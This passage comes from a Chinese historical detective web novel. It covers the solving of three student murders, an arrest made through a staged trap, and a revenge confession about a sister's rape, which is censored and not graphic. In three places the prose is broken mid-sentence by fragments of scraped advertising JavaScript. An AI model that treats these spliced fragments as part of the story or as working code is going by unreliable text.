难道他真的也出了事?谢宁轩猜对了?可案发次日我在街上碰到的人,身形、体量真的就是他呀。脸上不还有伤吗?就是那日拉架被锤的呗。 念及此处,我心不安,睡觉时都在琢磨,要不要再去找谢宁轩头脑风暴一下。没想到,当晚,谢宁轩先来找我来了。 彼时,我正坐在窗边,托腮发呆。手里拿着那支从锦业寺带下来的签文,心绪百转千回。 “依人入梦惹徘徊, 沧海桑田世事改, 桃花依旧人不悔, 悬崖走马入尘埃。” 沧海桑田,这不正是我的写照吗?这签文,还真有点东西。最后落脚这句,到底是什么意思?我还得悬崖遇险吗?来大青朝,我好像一直在遇险,就没过上几天太平日子。 嗨,别迷信,别迷信,不是说了要秉承唯物主义辩证思维嘛。 “想什么呢?这样入神。夏末夜风凉,小心吹的伤风了。” 有温柔的声线在耳边响起,入目,是谢宁轩涓涓淌意的双眸,满满映着我自己。 大脑似是宕机了,我忽然想起他抽的下签,也被他放入了怀中。他不是也不信神佛的吗? 出神之际,直到梨涡映现,谢宁轩笑容深深,慢慢朝我贴近。 呼吸交错,视线交缠,温度在悄然升高。 “小姐,快来尝尝又书新烧的……诶?谢府丞?”垂柳大叫着,打破了不该有的,旖旎的氛围。 我立马跳开,猛抚自己的胸膛,痛骂自己看见美色就失了智。 “小姐,这……”垂柳慌了。在她印象中,我最近都是不理谢宁轩的,怎么一个没留神,后者自己走进院子,还和小姐脸贴脸那么近呢? “咳咳,咳咳,”我也尴尬不已,说话都打绊子,“那个,那个,谢府丞怎么这个点儿来了,呵呵呵呵,有事吗?” 谢宁轩眨眼,仓促之间也忘了说辞,竟指着垂柳端着的碟子:“哦,那个,我也没吃饭呢,赏我点饭吧。” 堂堂府丞,哪里还没饭吃了? 垂柳的眉毛都挑到太阳穴了。 “哦,不是,”谢宁轩意识到了,“那个,我来告诉你赖三的消息。” 甚少见他如此慌乱,尤其弟弟释放令他心头松快,脸色红润起来,连带着眼光都愈发明亮。 这样无措的紧张,像是一只成精的狐狸被打出原型,不再有成竹在胸的疏离感,平白生出许多亲近与可爱来。 心中好像也住了只狐狸,闹着挠着想要亲近。 我却只能装感受不到。 好在垂柳也在一旁立着,我将人请进屋来,就主导话题至案件相关,也算顺水乘舟。 “赖三,赖三是谁?” 87.焦尸 谢宁轩看向我的目光仍带着氤氲的水汽,但自持得体如他,怎不知我的意思。 垂下眼帘,他压下了上涌的失望,只平静曰:“孟秋堂死后坊间传闻很不对劲,听浮生说,是你让他安排人去查源头的?” “哦,是,有这么回事。这个赖三,就是源头?他是谁啊?” 见垂柳在桌上摆完饭菜,谢宁轩拿起筷子,竟真的吃起饭来。 “地痞流氓,因为以前在宗室府邸服侍过,消息比较灵通。衙差从不同条线追上去,汇聚到最后,发现都是他在传播。他利用自己常混迹青楼的便利条件,先将消息从深夜才越加热闹的青楼传开,又通过认识各个府邸的小厮,将消息进一步铺开。” 好家伙,这赖三,是个人物啊,可以去搞公关了。 “他怎么知道消息的?谁告诉他的?” “据他供称,是受到了两个人的指使。通过画像,他认出其中一个是张海邦。另一个人,赖三称穿着青白布料,脸颊瘦瘦的,脸上有处伤疤。提及杀人凶案,此人还阴森森说了句‘十九刀’,所以他才会印象深刻,特别予以讲述来着。” 凶手果然刻意传播!张海邦,也真的有他!这么说,我们对于舆论快速铺开的猜想是正确的。 可这人是谁,又是因何产生的杀机? “咦,对了,你不是说书院案发那晚,有二十多个人都存有可疑的单独时段吗,这些人交叉调查了没?昨晚在哪,是否也没有不在场证明?” 谢宁轩从怀中掏出一张清单,咽下口中的菜,摇了摇头。“截至目前,只调查了一半,昨晚也只有三四个人有明确不在场证明。都是世家子弟,书院又临时闭门,这些人游玩找乐子,一时半会儿也无法全部追到下落。” 我打开清单一瞧,也跟着沮丧。 案子查到现在,我们连杀人凶手的动机都没搞清楚,两名死者到底得罪了谁,有何不为人知的交集,本案还可能隐藏着哪些玄机,全是谜团。 此刻,我是怎么也没想到,这些疑问,最后竟是靠着二公子的提示才搞明白。 *** 二公子在牢里呆了两夜,回家时齐王府上下都出门迎接他,一看他灰头土脸的样子,王妃泪洒当场。而二公子也很争气,在满府的下人面前,直接扑到王妃怀里哭唧唧去了。 不过这会儿坐在我对面,倒仍是一副世家公子哥的傲气。要不是王妃叮嘱,估计他才不会特意来向我道谢。 我看着他期期艾艾、扭扭捏捏的模样就想笑:“这就是你的致谢啊?轻飘飘的我都没听清。” 二公子扁扁嘴。 “啧啧,我可是跑了一天一夜没睡觉,就换来这个态度,啧啧。” 二公子凑过来:“嘿嘿,真的呀?你这么担心我?” 心内毫无波澜,我冷冷道:“担心你的人是王爷、王妃,还有你哥。他为了你两天没睡觉,被孟老咄咄责问。麻烦你向他道谢的时候,真诚点。” 二公子靠回椅背上,撅嘴:“嘁,他就不该抓我进去!我在牢里也没睡觉!那破地又脏又黑,把我衣服都弄脏了!” 真是个没吃过苦的娇小孩,我没好气:“谁让你刚巧出现在案发现场!粘满血,还拿着刀,自然是很可疑!当日众目睽睽,又有目击者言之凿凿,你哥除了秉公办理,还能怎么办!” “哼!”二公子抱臂重哼一声,却也明白当日之情势,丢给我个不爽的白眼后,又浮出些忧色。 他清了清嗓子,终是忍不住轻声问:“那个,羽书妹妹啊,我听说,嗯,我听说,张海邦也、也被杀了?” 见我点头,二公子两眼无神,丧气的喃喃起来。 “真是没想到,我们几个前几天才打过架,他们怎么就……”二公子眼圈红了,“孟秋堂平日里确实跋扈,可说来说去,不过芝麻小事,怎至于,怎至于……” 我坐在一旁沉默,不知道该说什么。 孟秋堂家世显赫,同窗一般都采取惹不起躲得起的态度,相处倒也算平和。反观张海邦,家族势力不强,却时常狐假虎威、盛气凌人,对他有意见的是真不少。 这时候,二公子自言自语也刚好说到此处,“……倒是那姓张的,整日无事生非,不是欺凌弱小就是混迹青楼赌坊,向杰多好一人儿,都被他带坏了,成绩一天不如一天!” 我问出埋在心中好久的疑问:“你和方向杰交好,觉得他是个谦逊的人?那他为什么和秉性完全不同的那二人相交甚密?” 二公子耸耸肩:“我哪知道啊!孟秋堂三年前才来我们书院。莫名其妙的,突然有一天,向杰就和他成了好友,形影不离不说,还老带着那讨人厌的张海邦!我给你说,姓张的是真的令人憎恶,总是出言不逊。初重脚有些跛,他叫人家瘸驴;波明感冒嗓子哑了,他嘲笑人家哑巴;蒋扬体胖,他讽刺人家和猪一样;前几日,慕卿拜祭,张海邦挡路还出言挑衅,慕卿多好的性子呀,都气的动了手。” 我听得厌恶不已:“这人真是嘴贱心坏。” 二公子一拍大腿:“是啊!谁不讨厌他!他还曾公开辱骂陈先生!就连院长都被他气的扔过书!” 陈先生,陈尧昇…… 对啊,我记得谢宁轩列的清单上,有他的名字。原来张海邦不仅背后议论,还当面辱骂过他?难道是他对孟张起了杀心? “可是听说你们书院大部分都是权贵子弟,张海邦就算背靠孟方二人,也不至于这么嚣张吧?孟方二人也不劝劝他?” “谁知道那俩吃了什么迷魂药?孟秋堂老是维护他,惯的他一日比一日嚣张!真是狗仗人势,狐假虎威!” 听起来,孟秋堂在这个团体中是扮演了大哥角色,借助自己的背景雄厚替张海邦撑腰。既然如此,张海邦干嘛要帮着别人杀掉孟秋堂?那个人,可能是他讨厌的陈尧昇吗? 还有方向杰…… 我趁机向二公子打听起来,问方向杰是不是不近女色。 毕竟所见所闻,似乎他对女人肢体的碰触反应极大,但文质彬彬,正常寒暄招呼,却又体现不出来。从被二公子勾肩搭背到对农夫温和善意、同伴调笑女子时沉默不语来看,这彷佛又是个翩翩君子。 矛盾,真是矛盾。 “以前也不这样。这几年,向杰成绩下滑的厉害,上科不是醉酒错过了吗?他这两年好像都是这样,恍恍惚惚的,一时高兴一时发火,我也挺纳闷。或许,也是他心中焦急,就有意杜绝女色,想清心寡欲好好读书呗。” “哦?就这么简单?可他反应有点大诶。” “是有点,他反正很讨厌女子碰他,院中丫鬟也都遣散了呢。”二公子顿了顿,“不过这也不稀奇啦,我哥不也是吗?他院里也没有丫鬟啊。” 是,谢宁轩也挺自持冷淡。可相较之下,方向杰的反应,似乎远超“洁身自好”,更像是一种下意识的、条件反射的反感啊。 这时,一直在旁候着的垂云提出了个思路:“孟公子和 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 方公子惯着张海邦,莫不是有什么把柄在他手中?” 二公子白她一眼:“怎么可能!秋堂和向杰那样的家世,还怕张海邦!再说了,都是学子而已,能有什么把柄?” “你再想想,”我不悦道,“他们之间就什么蹊跷也没有吗?” “能有什么……”二公子不屑的驳斥没说完,忽然皱起了眉头,“你要是这样说,我倒是想起来一件事。有一回我和向杰吃饭,向杰喝醉了,说他和秋堂做过一件错事,他很后悔。” “然后呢?” “没了啊。”二公子摊摊手,“他喝的醉醺醺的,话都听不清,可能就是胡话吧。” 疑虑升起,直觉告诉我,这事不简单。 本想再追问几句,院门响了,一夜未归的老爹总算回来了。 我忙迎上前,看他黑眼圈很重:“爹,你去哪儿了,怎么现在才回来?” 老爹肚子抖了抖:“嗨,别提了。京郊那青城县衙不是请我过去协助调查吗?说是发现一具焦尸,县衙的仵作经验不足,四天了,还没验出结果。哎呦,从锦业寺直接过去,我都没睡上一会儿!可累死我了。” 说着,老爹扭头一看,眼睛立即亮了,“呦,二公子来了?快坐坐!牢里吃苦了吧?看着都清瘦了,脸小一圈!” 就两天,能瘦到哪里去! 二公子一扬手:“没事!我身子骨可强壮呢!” 老爹赔笑两声,但见二公子脸上还有淤青,还是忍不住相劝:“二公子啊,你别嫌我多嘴,打架之事还是莫要干了。若非之前有冲突,这次也不至于……王妃可是焦急的饭都吃不下呢。哎,你们年轻人啊,就是冲动,我昨晚验的尸也是,牙齿都缺了一颗!你说说,这都遭遇的什么事啊。” “王副官说的是,”二公子垂头丧气,“我以后是得修身养性,少些冲动了。那天打架……嗨,也是一时没忍住。哦对了,羽书妹妹,那天吓到你了吧?咦,你、你怎么了?” 我呆呆的站在一旁,耳朵轰鸣。 牙齿缺了一颗,牙齿缺了一颗。 天哪,难道谢宁轩的直觉是对的? 不,不会啊,四天前……不可能是四天前啊! 我的声音不自觉抖起来:“爹,你查验的焦尸,是不是、是不是年轻男子?” “是啊,怎么了?” “生前被焚还是死后遇到火灾?” 二公子打断:“羽书妹妹,你问这干什么?” “爹!快说啊!” 老爹莫名其妙,但见我神色凝重,还是回答道:“生前。听说是猎户旧屋失火,村民扑救后发现焦尸。其喉咙曾吸入烟尘,可以断定火烧之前人还活着,但是躯体并没有挣扎过的痕迹,应该是服用了迷药。” “死者少了颗牙齿,新伤,而非旧伤?” “你怎么知道?”老爹惊异,“不过尸体焦化严重,验不出什么时候受的伤了。” 天哪,天哪,真的是他! 如被雷击,我站定三秒后,松开老爹的手就朝外奔去。 “书儿!你干啥去!” “羽书妹妹!你去哪?去哪!” “去府衙!” “去府衙干什么?你等等我,等等我!”二公子追上来,不由分说拉我上了马车。 到了府衙,谢宁轩果然在看尸格,见我进来,他沉重的朝我点了点头。 我腿一软。 天哪,焦尸竟真的是方向杰! 88.头七 二公子朝后退了几步,脸上是深深的骇然。 “不可能,不可能!” 浮生关上门,满脸写着问号:“大人,虽说这段时间我们没找到方向杰,方家人也说案发前一晚,他独自去医馆后就没回过家。可是卑职和王小姐去白马书院那天,不是看见张海邦和他在街边谈话了吗?那具焦尸死亡时间在四天前,怎么可能是方向杰?” 这时候,我已经确认是我的过错了。 所以我叹了口气,问道:“你不认识方向杰吧?” “不认识啊。可是小姐你不是说……” “不,是我判断错了。”我压下心中震撼,歉意的说,“二公子,你还记得你和张海邦、孟秋堂打架那天吗?方向杰拉架时被你们仨不知道是谁的拳头命中,吐出血来,我记得清清楚楚,血里有一颗牙。” 浮生一拍脑门:“那焦尸掉了颗牙!” “嗯。之后散开,二公子乘马车回府,我则散步回家。路上,我曾看见张海邦和方向杰说话,那应该就是他最后一次被目睹了。书院案发后,路上,我又看到张海邦和一个同样身高、身形、穿着,脸上还有伤的男子说话,因着场景相似,我便下意识认为那就是方向杰。其实是因为心里有了预设。事实上,第二次,我根本没看清楚那人的正脸。” 谢宁轩并不意外,只道:“我之前便认为,方向杰如果还活着,前后行动矛盾点太多。但听你们说了之后,我以为或许他在躲凶手。现在看来,其实是羽书你看错了人。方向杰早在书院出成绩的前一晚,就被烧死了。” “早于书院案发……天哪,方向杰才是死的最早的那个!”浮生愕然。 “可是,”二公子跌坐在椅子上,“为什么呀!向杰为什么也被杀了?这是同一个凶手干的吗?” 是啊,方向杰为什么也死了?截至目前,小团体三人全部死亡,两个死于刀杀,一个死于火烧。如果是同一凶手,为什么改变杀人手法?如果不是,孟张之死与方向杰之死,有无关联? 而且,方向杰早于孟张之死,那他的玉佩怎么会掉在张海邦死亡现场?张海邦手边写着“向”的石头,就不可能是死者留言,而是凶手嫁祸了? 这能不能说明凶手不知道方向杰已死,所以三起凶杀案其实是两个不同的凶手? 我这时候已经意识到,其实谢宁轩早就敏锐的发现了实情,却被我的错误证言打乱了推理。虽然他刚才语气平静,毫无指责,但我还是很愧疚。 “都怪我,没看清楚就瞎说。” 谢宁轩温和道:“不怪你,你又不能未卜先知。” 我细细回忆当时看到的场景,塌着眉毛颇为气馁:“可是那人也太像方向杰了,穿着、身高、身形、脸上也有伤……” 二公子“嘁”了一声:“那有什么稀奇,和向杰一样身高身形的人多了去了,我、陈先生、慕卿、波明,好些人,都差不多高嘛。” 我扁扁嘴,低声挣扎:“可是脸上有伤的就不多了吧?我当时见那人侧脸青紫,就以为是你们打架造成的,那、那不就认成方向杰了么。” 二公子眼睛一瞪就要回嘴,却忽然卡住了,接着露出一种不可思议的表情,缩回到座位上竟没有说话。 我不明所以,见他也没解释,便索性起身,从谢宁轩桌上拿起他整理的清单,铺开在二公子面前,让他帮着参谋,看看这里有无和孟张二人结仇之人。 谁料,二公子只瞥了一眼,就咬牙垂下眼睑,连带着脸色都变得铁青。 这下,惊奇的也不止我了,谢宁轩也投去不解的目光。 然不等我二人追问,浮生却疑惑地问:“大人,王小姐,依卑职看,那个石头上,明明就写了凶手的名字,为什么咱们不追查?” 谢宁轩一怔,眼神投向一旁桌上的用血写着字的石头,颇为诧异:“你说这块?” “对啊,这不是明摆着吗?”浮生一脸坦然。 我惊了,书院中还有名字中带“向”的?谢宁轩记错了? 浮生见我和谢宁轩均是茫然,也懵逼了。他搔搔头,走上前将石头转了个方向,递给我们。 血字在窗外洒进来的阳光下越发清晰,每一道笔迹都深深映进我的眼中。 这一刹那,犹如闪电划过,零零碎碎的信息倏地串了起来。 二公子盯着石头,犹如见鬼,凄厉的叫起来。 谢宁轩则慢慢起身,四目相对中,是与我一模一样的震撼。 *** 今天是孟秋堂的头七,白色卷裹着孟府每一处庭院。他的遗体摆在棺木中,搁在正殿,数十和尚正在为他超度。 孟老身居高位,爱子早逝,自然不少同仁前来哀悼。孟秋堂在世时,与人相处诸多不快,到底人已经不在,恩怨也变得稀薄。是以白马书院的师生也几乎尽出,都随着神色悲悯的院长一道来吊唁。 看见我和谢宁轩,二公子和同窗走了过来。这种场合也不宜社交,因此他的同窗也只是略点了点头,未曾寒暄。 倒是二公子贴过来,轻声问道:“哥,怎么没见孟二公子?” “听说昨日已到京中,估计这会儿在内宅。你问他做什么?” 二公子面上透着仰慕,半真半假地说:“上个月我不是去多荣姑姑府上住了吗?原来表哥参加的那一次武举,就和孟二公子对手战过。他夸二公子身手敏捷,战力不凡,偏又长得儒雅斯文,竟不弱于潘安卫玠之流。我就好奇,想一睹真容呗。” 谢宁轩敲了一下二公子的脑袋,虎着脸道:“也不看看今天什么日子,你胡说些什么。孟秋帆如今深得器重,他刚从边疆归来,你不许前去打扰。” 二公子吐吐舌头,拉着同窗的手,扭脸就朝吊唁人群走去了。 我和谢宁轩对视一眼,也不知道我们想要传递的信息,他是否已经接收到。 少时,孟府管家扶着孟老从后院走了出来,威严的环顾一周,当眼神落在谢宁轩身上时,划过不易察觉的紧张。 来吊唁的宾客大部分也走出了正殿。孟老抽回视线,拱手向白马书院院长走去。一旁仍站着书院的学生。 谢宁轩给我使了个眼色,于是我二人也凑了过去,选了角度与孟老说话。 孟老表情不悦:“谢府丞与其前来吊唁犬子,不如将时间腾去查 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 案,早日还我儿一个公道。” 谢宁轩垂下眼:“此案调查仍在取证阶段,还请孟老稍安勿躁。有些关于孟四公子的问题,下官想请教一下孟二公子,请问他在府中吗?” 孟老恼怒的吹了吹胡子:“关我二儿子何事?案发时,他甚至不在京城!” “案情需要,还请孟老告知……” “在后院休息!”孟老没好气,“你最好快些!否则休怪老夫不给齐王面子,直接奏本呈递,参你个办案不力!” 谢宁轩严肃颔首,转身朝孟府后院走去。我一路小跑跟在他身后,脑海中回放着前两日在卷宗里看到的案情,不禁唏嘘。 每个人心中都有个魔鬼,它一旦钻出来,谁又能看清镜中的自己? 孟秋帆已经成亲,他所居住的东厢独立成园。不过他常年不在京中,这园中已经寥落,唯有正房还亮着灯。 谢宁轩敲了敲门,内里简短的应了一声。推门进去,房间中点着三盏蜡烛,桌椅上都积着厚厚的灰,似乎一直无人打理。而绕过屏风,床上坐着一个人,正在等待我们的到来。 谢宁轩朝那人颔首,得到了相同的回复,便和我一同出了屋子。 一道意料中的身影在东厢外的假山边一闪而过。 出了东厢,我边走边抱怨,声音不低:“这孟秋帆真是难伺候,问些问题都这么难,还要先睡一会起来了再回复我们,真是架子大。” “羽书,不得议论朝廷命官。”谢宁轩刻意责怪,“他刚从边疆疾驰归来,几夜不得安睡,上午又去了宫中面圣,这会儿肯定累的很,你没看到他眼圈有多重吗,让他先休息休息罢。孟府今日吊唁四公子,所有下人都在前面,难得清静,我们也就不要打扰他了。” “可是、可是他今晚就要回边疆了。这一去,再回来可又不知是何年何月了。” “晚上走,还有点时间,我们稍等片刻再过来。” 我顺从的点点头,跟着谢宁轩走过假山丛,拐进了一处院落。刚一踏入,谢宁轩脚步不停,将我反手一搂,另一只手悄无声息的推开就近的门,两个人瞬间猫进了黑漆漆的屋子。 谢宁轩悄悄闭上房门,将侧墙上正对着东厢的窗户推开个缝,趴低了身子望去。 我悄声问:“一切都安排好了吗?” 谢宁轩静静点头,眼神紧紧锁着对面,像一只处于捕食状态的狮子,警觉而敏锐。 果然,只片刻,假山后的身影悄无声息的溜进了东厢,他左手持着的尖刀,在傍晚沉沉的天色下显的异常诡异。 窗户上映出他右手的动作,那刀子越举越高,却在下一秒被屋内的人打掉。声音一起,四下静悄悄的东厢院子里登时冒出来数十名衙差,持刀一起冲向了正房。 谢宁轩长舒口气,起身冲我淡淡一笑。我知道,我们的计划成功了。 孟老听到动静,第一时间来到了现场,对着被浮生扭着胳膊跪在地上的人大声吼道:“就是你这个混账杀了老夫的爱子!现在居然还想刺杀另一个!你抬起头来!” 而当那人抬起头的一瞬间,孟老的愕然难以掩饰:“你!竟然是你!” 89.解密1 整个计划要从三日前说起。 案件发生了四天,陆续死了三个学子,全是白马书院的书生,出身高贵,彼此关系很好。对于三个人的死亡,我们在推测杀人凶手的身份时,也对动机感到迷惘。 尤其我们厘清死者死亡顺序后,更不解于凶手为什么要改变作案方式。 直到谢宁轩提出,或许当时的凶手还没有准备好连续杀人,是在他烧死了方向杰之后,怒火和恨意让他更想杀了另两个人,才会出现后来的十九刀毙命。 三个死者死法的相异,只是因为凶手心态的转变。 而后两次命案中均出现的“十九刀”,或许才是关键,代表了某种意义。 张海邦死亡之前用血写下的血字,让我和谢宁轩将视线全部投向了方向杰,得知方向杰早在这之前就死了,我还一度以为这是凶手拙劣的嫁祸技巧。 但浮生不一样,他从头到尾就没有这么想过。而且还很讶异,为什么一向英明的领导看到证物却无动于衷,不去抓捕相关人员。 直到他忍不住发问,我们才终于明白,原来这歪歪扭扭的字迹中,还有另一重完全不同的解读——“何”。 “何”字和“向”字仅有一点差距,临死之人用尽最后的气力,将“何”字的单立人旁和可字靠的过近,导致乍一看便成了“向”字。 加之我和谢宁轩潜意识一直被方向杰的去向困扰,便不自觉都被束缚,认为这就是“向”字。 当浮生将石头换了个角度展示给我俩时,我俩当场就呆住了。 而一旁正沉浸在“脸上有伤之人不多”中的二公子细思极恐,更是惊叫连连:“何!何慕卿!他脸上有伤,才和张海邦打过架!天哪,怎么会是他!” 是啊,何慕卿,这个名字也出现在谢宁轩列出的清单中,却一直没有被我联想到。 后知后觉间,我更是忆起来,打架那日,我陪着二公子去书院后门探听消息,他被偶然出现的陈尧昇吓个半死,不是拉我躲在对面酒楼吗?当时,有个人穿着一袭白衣,匆匆而过。 二公子似是认出来了,还叫了声“那是不是慕……” 慕什么?何慕卿。 孟秋堂三人随后来酒楼小坐,而他,竟也那么巧,出现在附近。 巧合,真的只是巧合? 同样的身高、身形,这是二公子提起过的。就说明,书院案发第二天,我和浮生路上看见的与张海邦说话之人,也可能是清单中有充分作案时间的何慕卿。 可他为什么脸上有伤? 二公子愤愤不平的抱怨张海邦的蛮横无理,不就提及他挡了何慕卿的路,而与之打架了吗?那句话中,二公子还说了,何慕卿正要去祭拜。 近日,明明我还听过“祭拜”一词,在哪?在哪听到的? 垂柳,是她讲述的新娘自杀的八卦,不是吗?那新娘的祭日,也在最近。当时又画说新娘似乎姓贺。 贺?何?不过是读音之差。 所以,打架是因拦路?不,恐怕是因何姓新娘,与何慕卿有关,而她之死,则与张海邦有关吧。 这么巧,何家小姐嫁给孟府二少爷,何家少爷则和孟府四少爷在同一个书院,小姐三周年死忌期间,孟四少爷和两个好友相继丧命。 就在这一刻,脑海中零星的、分散的拼图找到了位置。 方向杰对二公子说自己做过一件后悔事、成绩的下降、醉酒错过科举、对女性离奇的抵触。三人小团体莫名的关系亲近、方孟二人对张海邦毫无底线的维护。 这一切的一切,都有着千丝万缕的关联,根本不是巧合。 在我和谢宁轩同时想到这关窍之时,就让浮生带队去查问,果然书院有人想起,放榜之日曾看到张海邦与何慕卿交谈。而垂云则忆起,何家出嫁的新娘,殁时,正是芳龄十九。 十九,十九。 这些巧合、关联、链条明白无疑的指证着何慕卿。再等我们翻出卷宗时,一切豁然开朗。 可就这些推测,还是远远不够的,我们需要一个十足的证据。饶是二公子不太情愿,还是配合我们执行了“请君入瓮”的计划。 在整起案件中,何慕卿最想杀的人,其实是孟二公子孟秋帆,也就是自己的姐夫。可是孟秋帆驻扎在边疆,弟弟之死,他也未必能赶回来。 于是谢宁轩赶到孟府,向孟老用头上的乌纱帽保证,请孟老在孟秋堂头七当天,一起做了这出戏。 孟老首先通知各个府邸来参加悼唁会,自然也通知了白马书院,同时隐约放出孟秋帆也会回京的消息。当然,碍于同窗的身份,何慕卿本也会和众师生一道来参加仪式。 到了现场,二公子的作用便是带他到我们身边,确保他能听到孟秋帆已回府的消息。我们又当着他的面,故意和孟老说起孟秋帆小憩之地,这些信息落在他的耳朵中,他便很难心平气和。 随后,我和谢宁轩引着跟在我们身后一心想要为姐报仇的何慕卿,故意进了浮生早就埋伏好的屋子。不大不小的议论声刚好能让何慕卿听见,也是为了让他放松警惕,知道此时此地,没有丫鬟仆人,目标疲倦,已在睡梦之中。 何慕卿果然耐不住恨意,猫进屋子,动手杀人,便被早已埋伏好的一众官差拿下。 孟老虽然答应进行这个计划,却并不知道真正要对付的人是谁。谢宁轩怕他激愤之下惊扰了凶手,便一直讳莫如深。 等他竖着耳朵终于听到了东厢的动静,赶来欲为爱子报仇时,看到何慕卿满眼的恨意时,诧异又震惊。 在孟老的强烈要求之下,谢宁轩将公堂设在了孟府书房。又再三解释我的贡献,孟老才答应让我这个女子一道听审。 何慕卿被锁了手链脚链,披头散发,身上的衣衫也因为抓捕而凌乱肮脏。然而这一切都没有影响到他的神情,他昂着头,像一个英勇就义的战士。死死盯着孟老,那目光充满了恨意。 如果此刻他没有被锁链限制,只怕都能冲上来掐死孟老。 孟老越发震怒:“何家小儿,你家到底与我家曾是姻亲,虽然你姐姐自尽,我们两家也有过不愉快,但也已经过去了三年,你到底为什么要对我儿子下杀手!” “三年?”何慕卿脸上泛起一层奇异的红色,怒火吞噬着他,“三年过去了,你们孟家人早就将我姐姐丢在脑后,她那样的风华正茂,嫁进你们这个豺狼虎豹的洞穴不过半年!半年!她就死了!接下来的三年,我们何府沉浸在哀痛之中,可是你们呢,你们可曾还记得我姐姐这个人!” “混账!”孟老一拍桌子,“就因为我们没有悼念你姐姐,没有因为你姐姐的死全家也跟着要死要活,你就要杀了我儿子吗?” “是你们孟府混蛋!”何慕卿大吼,英俊的脸上扭曲出了异样的线条,“你以为我姐姐为什么要自尽!就是因为你的好儿子干下的混蛋事!” “你、你说什么!”孟老声音有些微的抖,“秋帆虽然对你姐姐冷淡,到底我孟府也不曾亏待过她!” “不是孟秋帆!是孟秋堂!” “什、什么?” “我姐姐……我姐姐是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 被你四儿子孟秋堂□□之后,才绝望投湖而死!” *** 三年前,何府小姐嫁给孟家少爷短短半年,便投湖自尽。孟府无法给出交代,何府哪肯罢休,便闹到了京城府衙,要求查清女儿投湖的原因。 当时的府丞眼看两边都在朝为官,谁也得罪不起,只好迅速查案。可一查之下,何小姐当真是投湖死的,死因无疑。何府这下没话说了,只得恹恹接受了爱女香消玉殒的结果。 但当时的仵作还是查出了一点端倪,只不过与死因无关,这小小的疑问就被封在了卷宗之中,没有向任何人透露。 那便是,何府小姐身上有抓痕、掐痕,且下身的撕裂伤口严重。 当时的府丞和仵作都认为这可能是夫妻二人同房不和造成的结果,因为这档子事说出来总是有伤风化,何况她又是自尽,便未张扬。 然而当看到这卷宗,仅仅在一瞬间,我们就明白了如今这案子的起由。 恐怕何府小姐自尽身亡,以及之前的伤口,都和死亡的三个人有关。 可真的听到何慕卿说出来,我还是感到后背发凉。 孟老倒退几步,控制不住重心倒在椅子上,张着嘴空洞的动了动,才迟疑的回绝道:“不、不可能!” 何慕卿忽然开始大笑,笑声凄厉而尖锐,刺着我们每个人的耳膜。 “三年了,三年了!何府上下都不知道姐姐为何会投湖,我们开始慢慢相信姐姐真的死了,也开始慢慢走出这个阴影。几个月前我和孟秋堂为一本书发生了争执,事后我竟还自责,觉得不该牵连无辜的他,把邪火发他身上。谁知道、谁知道,他才是罪魁祸首!” “你、你胡说什么!” “我胡说?我告诉你,这一切都是他自己说的!” 谢宁轩蹙眉问:“你是怎么知道的,他为什么会主动告诉你?” 何慕卿露出苦笑:“主动?怎么可能主动?是姐姐、是姐姐在天有灵,冥冥中指引着我!就是因为那日的争执!年考前两日我看书累了出去散心,走到南于湖边看到孟秋堂独自进茶楼,便想着近来相处尴尬,不如缓和一下。没想到,没想到啊……就在那里,我居然听到了我姐姐死亡的真相。” 谢宁轩看了一眼孟老,问何慕卿:“是什么,他说了什么?” 何慕卿脸颊泛起酡红,他带着浓浓的嘲讽盯着孟老:“呵。若不是你儿子亲口所说,我也根本不敢相信孟秋堂居然如此丧心病狂。你儿子、你儿子竟还把这当做一种谈资,一种炫耀的资本,他在和他的狼狈为奸的好同伴一同取笑我的姐姐,取笑我姐姐的死!” “孟秋帆大婚,孟秋堂并不在京城。”谢宁轩又问,“他是什么时候见到你姐姐的?” “就在他回京,转来白马书院读书后!”何慕卿斜眼怒视孟老,“刚开始,他直接住在书院,是没见过我姐姐。一次书院小假,他邀请同窗回府饮酒品茶,也就在那时,他见到了应该尊重的嫂子!但他可有敬意?你知道吗?你儿子形容我姐姐,是他见过最好看的女子,他恨自己为什么不年长几岁,这样娶我姐姐的人就是他了。” 孟老太阳穴的青筋也冒了出来,嘴唇抖着说不出话来。 “当晚,宾客陆陆续续回去,方向杰、张海邦醉了,便留宿在孟府。东厢独立在孟府之中,为新婚所设。孟秋堂三人能潜进去轮番□□了我姐姐,你以为你二儿子会不知道?当日他可是在家的!我告诉你!就是你二儿子同意的!他简直就是个禽兽!”何慕卿越说越咬牙切齿。 孟秋帆同意? 90.解密2 我惊呆了,差点站不稳。一旁的谢宁轩眼疾手快地扶住了我,虽然他也是脸色黑沉,僵硬如木。 “你!你胡说……”孟老瘫在椅子上,指着何慕卿的手指止不住的颤抖,嘴唇青紫。 “我胡说?哈哈,我胡说?这是你儿子亲口说的!孟秋堂时隔这么久,居然还在回忆我姐姐的身子,混蛋!混蛋!禽兽不如!”何慕卿嘶吼着,“孟秋堂亲口说,凌晨他酒醒后心痒难耐,就想去东厢偷窥我姐姐,张海邦那个王八蛋一听,直接附和,倒是方向杰还有些醉意,尚不明白要去干什么。到了东厢,正好碰见晨起练剑的孟秋帆。” 我心一揪,就听何慕卿恨恨啐了一口,“呸!那孟秋帆见他们三个人过来,就问他们要干嘛,还带着醉意的孟秋堂竟然就直说了他对嫂子的臆想,而他!而孟秋帆!就这么大大方方直接让开了,径直默许了他们三个人进去,默许了他们对我姐姐、对他妻子的兽行!” 脊背发凉,毛骨悚然,我忍不住闭上了眼。谢宁轩亦咬牙握拳。 “你胡说!”孟老挣扎着站起来,大声吼道,“不可能!我儿子不会做这种事!” “你敢问你二儿子吗?这些话可是你四儿子亲口说的!是那天在茶楼他和张海邦嘻嘻哈哈回忆的话!他们说这的时候可都没有饮酒,神智清醒!我清清楚楚的听到他们的说辞!我还听到方向杰叫他们声音小点,叫他们不要再提!虚伪!他明明也做了这龌龊事!” 我终于明白了,为什么方向杰温和谦逊,却会和孟张二人同流合污,会没有底线的纵容张海邦。为什么他开始抵触女性,被女子碰到反应会那么大。 原来他说过的后悔事,竟然就是这件事。真的是一步踏错,终身错。 